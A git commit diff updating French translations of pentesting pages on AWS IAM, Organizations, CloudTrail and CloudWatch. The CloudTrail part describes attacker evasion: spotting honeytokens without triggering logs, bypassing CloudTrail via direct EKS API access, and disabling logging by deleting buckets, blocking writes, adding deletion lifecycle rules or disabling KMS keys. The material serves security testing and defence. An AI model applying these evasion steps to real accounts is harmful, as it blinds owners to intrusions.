Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-10 23:50:06 +00:00
parent 7d225cb0a4
commit a03dde95f6
33 changed files with 483 additions and 775 deletions

View File

@@ -12,7 +12,7 @@ Dans AWS, il y a un **compte root**, qui est le **conteneur parent pour tous les
C'est très intéressant d'un point de vue **sécurité**, car **un compte ne pourra pas accéder aux ressources d'un autre compte** (sauf si des ponts sont spécifiquement créés), de cette manière vous pouvez créer des limites entre les déploiements.
Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un compte unique désigné comme le compte de gestion, et un ou plusieurs comptes membres.
Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un seul compte désigné comme le compte de gestion, et un ou plusieurs comptes membres.
- Le **compte de gestion (le compte root)** est le compte que vous utilisez pour créer l'organisation. À partir du compte de gestion de l'organisation, vous pouvez faire ce qui suit :
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne grantissent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué).
@@ -53,9 +53,7 @@ Exemples de SCP :
- Refuser complètement le compte root
- Autoriser uniquement des régions spécifiques
- Autoriser uniquement des services sur liste blanche
- Refuser l'accès à GuardDuty, CloudTrail et S3 Public Block Access de
être désactivé
- Refuser la désactivation de GuardDuty, CloudTrail et S3 Public Block Access
- Refuser la suppression ou la modification des rôles de sécurité/réponse aux incidents.
@@ -88,21 +86,21 @@ IAM est le service qui vous permettra de gérer **l'authentification**, **l'auto
IAM peut être défini par sa capacité à gérer, contrôler et gouverner les mécanismes d'authentification, d'autorisation et de contrôle d'accès des identités à vos ressources au sein de votre compte AWS.
### [Utilisateur racine du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
### [Utilisateur root du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Lorsque vous créez un compte Amazon Web Services (AWS) pour la première fois, vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur racine** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
Lorsque vous créez pour la première fois un compte Amazon Web Services (AWS), vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur root** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur racine**.
Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur root**.
D'un point de vue sécurité, il est recommandé de créer d'autres utilisateurs et d'éviter d'utiliser celui-ci.
### [Utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de références (mot de passe et jusqu'à deux clés d'accès).
Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de credentials (mot de passe et jusqu'à deux clés d'accès).
Lorsque vous créez un utilisateur IAM, vous lui accordez des **permissions** en le rendant **membre d'un groupe d'utilisateurs** qui a des politiques de permission appropriées attachées (recommandé), ou en **attachant directement des politiques** à l'utilisateur.
Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les jetons API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, la MFA doit être présente (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les tokens API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, MFA doit être présent (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
@@ -110,12 +108,12 @@ Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console.
- **ID de clé d'accès secrète** : 40 caractères aléatoires en majuscules et minuscules : S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Il n'est pas possible de récupérer les ID de clé d'accès secrète perdus).
Chaque fois que vous devez **changer la clé d'accès**, voici le processus que vous devez suivre :\
&#xNAN;_&#x43;réer une nouvelle clé d'accès -> Appliquer la nouvelle clé au système/application -> marquer l'original comme inactif -> Tester et vérifier que la nouvelle clé d'accès fonctionne -> Supprimer l'ancienne clé d'accès_
_Créez une nouvelle clé d'accès -> Appliquez la nouvelle clé au système/application -> marquez l'original comme inactif -> Testez et vérifiez que la nouvelle clé d'accès fonctionne -> Supprimez l'ancienne clé d'accès_
### MFA - Authentification Multi-Facteurs
Il est utilisé pour **créer un facteur supplémentaire pour l'authentification** en plus de vos méthodes existantes, telles que le mot de passe, créant ainsi un niveau d'authentification multi-facteurs.\
Vous pouvez utiliser une **application virtuelle gratuite ou un dispositif physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
Vous pouvez utiliser une **application virtuelle gratuite ou un appareil physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
Les politiques avec des conditions MFA peuvent être attachées aux éléments suivants :
@@ -123,8 +121,8 @@ Les politiques avec des conditions MFA peuvent être attachées aux éléments s
- Une ressource telle qu'un bucket Amazon S3, une file d'attente Amazon SQS ou un sujet Amazon SNS
- La politique de confiance d'un rôle IAM qui peut être assumé par un utilisateur
Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie la MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un jeton avec des informations sur la MFA.\
Notez que **les informations d'identification `AssumeRole` ne contiennent pas cette information**.
Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un token avec des informations sur MFA.\
Notez que **les credentials `AssumeRole` ne contiennent pas cette information**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
@@ -138,20 +136,20 @@ Vous pouvez attacher une **politique basée sur l'identité à un groupe d'utili
Voici quelques caractéristiques importantes des groupes d'utilisateurs :
- Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
- Un **groupe d'utilisateurs** peut **contenir de nombreux utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
- **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs.
- Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme ça, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci.
- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes, et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [les quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'il peut et ne peut pas faire dans AWS**. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
Un rôle IAM se compose de **deux types de politiques** : Une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
Un rôle IAM se compose de **deux types de politiques** : une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
#### Service de jetons de sécurité AWS (STS)
Le service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
Le Service de jetons de sécurité AWS (STS) est un service web qui facilite l'**émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
@@ -164,7 +162,7 @@ Les **credentials temporaires sont principalement utilisés avec les rôles IAM*
Sont utilisées pour attribuer des permissions. Il existe 2 types :
- Politiques gérées par AWS (préconfigurées par AWS)
- Politiques gérées par le client : Configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
- Politiques gérées par le client : configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant les vôtres.
Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
Si **un "Deny" unique existe, il remplacera le "Allow"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
@@ -195,28 +193,28 @@ Les [champs spécifiques qui peuvent être utilisés pour des conditions par ser
#### Politiques Inline
Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
Ce type de politiques est **directement assigné** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les permissions dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les permissions dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
#### Politiques de Bucket de Ressources
Ce sont des **politiques** qui peuvent être définies dans des **ressources**. **Toutes les ressources d'AWS ne les prennent pas en charge**.
Si un principal n'a pas de refus explicite à leur sujet, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
Si un principal n'a pas de refus explicite à leur égard, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
### Limites IAM
Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
Les limites IAM peuvent être utilisées pour **limiter les permissions auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent de permissions est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum de permissions que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus de permissions que celles dont ils ont besoin.
### Politiques de Session
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas de permissions mais **les restreint à celles indiquées dans la politique** (les permissions maximales étant celles que le rôle a).
Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre la permission uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
```bash
aws sts assume-role \
--role-arn <value> \
@@ -231,7 +229,7 @@ Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'a
### Fédération d'identité
La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** d'entreprise (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** d'entreprise (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de celui-ci d'accéder à AWS.
Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
@@ -278,7 +276,7 @@ Non pris en charge :
- Corbeille AD
- Comptes de service gérés par groupe
- Extensions de schéma
- Pas d'accès direct à l'OS ou aux instances
- Pas d'accès direct au système d'exploitation ou aux instances
#### Fédération Web ou authentification OpenID
@@ -295,8 +293,10 @@ La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accè
Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids), vous pouvez trouver les **préfixes d'ID IAM** des clés en fonction de leur nature :
| ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| Code d'identifiant | Description |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Identifiant spécifique au contexte |
| AGPA | Groupe d'utilisateurs |
| AIDA | Utilisateur IAM |
@@ -307,7 +307,7 @@ Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference
| APKA | Clé publique |
| AROA | Rôle |
| ASCA | Certificat |
| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais sont uniques uniquement en combinaison avec la clé d'accès secrète et le jeton de session. |
| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais ne sont uniques qu'en combinaison avec la clé d'accès secrète et le jeton de session. |
### Permissions recommandées pour auditer les comptes

View File

@@ -4,7 +4,7 @@
## **CloudTrail**
AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste d'audit des changements et des actions, aidant à l'analyse de la sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire.
AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste d'audit des changements et des actions, aidant à l'analyse de sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire.
Chaque événement enregistré contient :
@@ -17,12 +17,12 @@ Chaque événement enregistré contient :
- console.amazonaws.com - Utilisateur root du compte
- lambda.amazonaws.com - AWS Lambda
- Les paramètres de la requête : `requestParameters`
- Les éléments de la réponse : `responseElements`
- Les éléments de réponse : `responseElements`
Les événements sont écrits dans un nouveau fichier journal **environ toutes les 5 minutes dans un fichier JSON**, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont **livrés à S3 environ 15 minutes après**.\
Les journaux de CloudTrail peuvent être **agrégés à travers les comptes et les régions.**\
CloudTrail permet d'utiliser **l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux sont restés inchangés** depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé chaque heure.\
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type d'événements à enregistrer : événements de gestion, de données ou d'informations.
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type de trail à enregistrer : événements de gestion, de données ou d'insights.
Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement côté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accès, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.
@@ -88,11 +88,11 @@ L'historique des événements CloudTrail vous permet d'inspecter dans un tableau
Les insights sont stockés dans le même bucket que les journaux CloudTrail dans : `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Sécurité
| Intégrité des fichiers journaux CloudTrail | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Arrêter l'accès non autorisé | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès admin</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul> |
| Empêcher la suppression des fichiers journaux | <ul><li>Restreindre l'accès à la suppression avec des politiques IAM et de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul> |
| Nom du contrôle | Détails de mise en œuvre |
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Intégrité des fichiers journaux CloudTrail | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
| Arrêter l'accès non autorisé | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès administrateur</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul> |
| Empêcher la suppression des fichiers journaux | <ul><li>Restreindre l'accès à la suppression avec IAM et les politiques de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul> |
## Conseiller d'accès
@@ -144,11 +144,11 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
Pour plus d'informations sur cette technique spécifique, consultez [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
## **Contourner la Détection**
## **Contourner la détection**
### Bypass des HoneyTokens
Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée** ; si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.
Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée**. Si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.
Cependant, les Honeytokens comme ceux créés par [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom de compte et/ou l'ID de compte sans faire créer de journal par Cloudtrail, **vous pourriez savoir si la clé est un honeytoken ou non**.
@@ -202,11 +202,11 @@ De cette manière, un **attaquant peut obtenir l'ARN de la clé sans déclencher
>
> Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
### Accéder à des infrastructures tierces
### Accéder à une infrastructure tierce
Certains services AWS **généreront une infrastructure** telle que des **bases de données** ou des **clusters Kubernetes** (EKS). Un utilisateur **parlant directement à ces services** (comme l'API Kubernetes) **n'utilisera pas l'API AWS**, donc CloudTrail ne pourra pas voir cette communication.
Par conséquent, un utilisateur ayant accès à EKS qui a découvert l'URL de l'API EKS pourrait générer un token localement et **parler directement au service API sans être détecté par Cloudtrail**.
Par conséquent, un utilisateur ayant accès à EKS qui a découvert l'URL de l'API EKS pourrait générer un token localement et **parler directement au service API sans être détecté par CloudTrail**.
Plus d'infos dans :
@@ -247,7 +247,7 @@ aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration
### Modification de la configuration du bucket
- Supprimer le bucket S3
- Changer la politique du bucket pour refuser toute écriture du service CloudTrail
- Changer la politique du bucket pour interdire toute écriture du service CloudTrail
- Ajouter une politique de cycle de vie au bucket S3 pour supprimer des objets
- Désactiver la clé KMS utilisée pour chiffrer les journaux CloudTrail

View File

@@ -4,7 +4,7 @@
## CloudWatch
**CloudWatch** **collecte** des données de surveillance et opérationnelles sous forme de journaux/métriques/événements fournissant une **vue unifiée des ressources AWS**, des applications et des services.\
**CloudWatch** **collecte** des données de surveillance et opérationnelles sous forme de journaux/métriques/événements, fournissant une **vue unifiée des ressources AWS**, des applications et des services.\
Les événements de journal CloudWatch ont une **limite de taille de 256 Ko par ligne de journal**.\
Il peut définir des **alarms à haute résolution**, visualiser **les journaux** et **les métriques** côte à côte, prendre des actions automatisées, résoudre des problèmes et découvrir des insights pour optimiser les applications.
@@ -12,7 +12,7 @@ Vous pouvez surveiller par exemple les journaux de CloudTrail. Les événements
- Changements dans les groupes de sécurité et les NACL
- Démarrage, arrêt, redémarrage et terminaison des instances EC2
- Changements dans les politiques de sécurité au sein de IAM et S3
- Changements dans les politiques de sécurité au sein d'IAM et S3
- Tentatives de connexion échouées à la console de gestion AWS
- Appels API ayant entraîné un échec d'autorisation
- Filtres pour rechercher dans CloudWatch : [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
@@ -27,7 +27,7 @@ Un espace de noms est un conteneur pour les métriques CloudWatch. Il aide à ca
### Métriques
Les métriques sont des points de données collectés au fil du temps qui représentent la performance ou l'utilisation des ressources AWS. Les métriques peuvent être collectées à partir des services AWS, des applications personnalisées ou des intégrations tierces.
Les métriques sont des points de données collectés au fil du temps qui représentent la performance ou l'utilisation des ressources AWS. Les métriques peuvent être collectées à partir des services AWS, d'applications personnalisées ou d'intégrations tierces.
- **Exemple** : CPUUtilization, NetworkIn, DiskReadOps.
@@ -39,7 +39,7 @@ Les dimensions sont des paires clé-valeur qui font partie des métriques. Elles
### Statistiques
Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et Compte d'échantillons.
Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et SampleCount.
- **Exemple** : Calculer la moyenne d'utilisation du CPU sur une période d'une heure.
@@ -88,7 +88,7 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident
**Exemple de cas d'utilisation** :
- Surveiller l'utilisation du CPU des instances EC2 et envoyer une notification via SNS si elle dépasse 80 % pendant 5 minutes consécutives.
- Surveiller l'utilisation du CPU d'une instance EC2 et envoyer une notification via SNS si elle dépasse 80 % pendant 5 minutes consécutives.
### Détecteurs d'anomalies
@@ -101,7 +101,7 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident
**Exemple de cas d'utilisation** :
- Détecter des modèles d'utilisation du CPU inhabituels dans une instance EC2 qui pourraient indiquer une violation de sécurité ou un problème d'application.
- Détecter des modèles d'utilisation inhabituels du CPU dans une instance EC2 qui pourraient indiquer une violation de sécurité ou un problème d'application.
### Règles d'insight et règles d'insight gérées
@@ -111,17 +111,17 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident
**Exemple de cas d'utilisation** :
- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille des indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les E/S de disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée.
